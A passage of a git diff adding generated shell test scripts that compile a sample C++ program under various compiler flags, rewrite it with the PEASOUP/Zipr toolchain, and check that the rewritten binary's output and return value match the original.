+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a356902a5acd1fe845d08311ff4e3ac26a27ac49
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3 -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..46520504a941198b0d83900ab00a71a53e4f0cf1
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3 -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b95c6eac20094314337c94f123b46c0e671e2fb4
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3 -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..d5ac6f4a07075fe1c8502ddadc212753b151d3e3
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3 -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..bceaf4e0cc0e283405b1a70be655c473dc8512fb
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3 -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..e15eb5f4e7c4c180fcaf9ce779070969aa2a4662
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3 -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
